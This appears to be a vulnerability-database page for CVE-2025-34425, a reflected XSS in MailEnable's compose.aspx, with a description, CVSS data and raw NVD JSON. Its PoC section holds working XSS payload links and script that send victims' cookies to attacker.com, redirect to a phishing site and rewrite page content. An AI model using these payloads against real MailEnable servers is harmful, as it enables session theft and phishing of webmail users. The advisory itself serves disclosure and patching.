Security Vulnerability Report
中文
CVE-2025-34425 CVSS 6.1 MEDIUM

CVE-2025-34425

Published: 2025-12-09 22:16:10
Last Modified: 2025-12-19 19:09:54

Description

MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the WindowContext parameter of /Mondo/lang/sys/Forms/MAI/compose.aspx. The WindowContext value is not properly sanitized when processed via a GET request and is reflected within a <script> context in the JavaScript variable window.location, allowing an attacker to break out of the existing script and inject arbitrary JavaScript. A remote attacker can supply a crafted payload that terminates the existing ProcessContextSwitchResult() function, inserts attacker-controlled script, and comments out remaining code, leading to script execution in a victim’s browser when the victim visits a malicious link or attempts to send an email. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:* - VULNERABLE
MailEnable < 10.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-34425 MailEnable Reflected XSS PoC --> <!-- Target: MailEnable < 10.54 --> <!-- Endpoint: /Mondo/lang/sys/Forms/MAI/compose.aspx --> <!-- Parameter: WindowContext --> <!DOCTYPE html> <html> <head> <title>CVE-2025-34425 PoC</title> </head> <body> <h3>CVE-2025-34425 MailEnable Reflected XSS PoC</h3> <p>Target: MailEnable < 10.54</p> <!-- Basic XSS PoC - Steal Cookies --> <p><strong>PoC 1: Cookie Theft</strong></p> <a href='https://vulnerable-site.com/Mondo/lang/sys/Forms/MAI/compose.aspx?WindowContext=%27;document.location=%27https://attacker.com/steal?c=%27%2Bdocument.cookie;//' target='_blank'>Click to Test (Cookie Theft)</a> <!-- XSS Payload - Execute Arbitrary JS --> <p><strong>PoC 2: Arbitrary JavaScript Execution</strong></p> <a href='https://vulnerable-site.com/Mondo/lang/sys/Forms/MAI/compose.aspx?WindowContext=%27;alert(document.domain);//' target='_blank'>Click to Test (Alert)</a> <!-- XSS Payload - DOM Manipulation --> <p><strong>PoC 3: DOM Manipulation</strong></p> <a href='https://vulnerable-site.com/Mondo/lang/sys/Forms/MAI/compose.aspx?WindowContext=%27;document.body.innerHTML=%27<H1>Hacked</H1>%27;//' target='_blank'>Click to Test (DOM Change)</a> <!-- Encoded version for bypass --> <p><strong>PoC 4: URL Encoded Version</strong></p> <a href='https://vulnerable-site.com/Mondo/lang/sys/Forms/MAI/compose.aspx?WindowContext=%2527%253Balert%2528document.cookie%2529%253B%252F%252F' target='_blank'>Click to Test (Encoded)</a> <script> // Auto-generate PoC URLs const baseUrl = 'https://vulnerable-site.com/Mondo/lang/sys/Forms/MAI/compose.aspx'; const payloads = [ "';alert(document.domain);//", "';fetch('https://attacker.com/log?c='+document.cookie);//", "';window.location='https://phishing-site.com';//", "';document.getElementById('someElement').innerHTML='<img src=x onerror=alert(1)>';//" ]; console.log('CVE-2025-34425 PoC Payloads:'); payloads.forEach((payload, i) => { console.log(`Payload ${i+1}: ${encodeURIComponent(payload)}`); }); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34425", "sourceIdentifier": "[email protected]", "published": "2025-12-09T22:16:09.893", "lastModified": "2025-12-19T19:09:54.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the WindowContext parameter of /Mondo/lang/sys/Forms/MAI/compose.aspx. The WindowContext value is not properly sanitized when processed via a GET request and is reflected within a <script> context in the JavaScript variable window.location, allowing an attacker to break out of the existing script and inject arbitrary JavaScript. A remote attacker can supply a crafted payload that terminates the existing ProcessContextSwitchResult() function, inserts attacker-controlled script, and comments out remaining code, leading to script execution in a victim’s browser when the victim visits a malicious link or attempts to send an email. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-reflected-xss-in-windowscontext-parameter-of-mai-compose-aspx", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}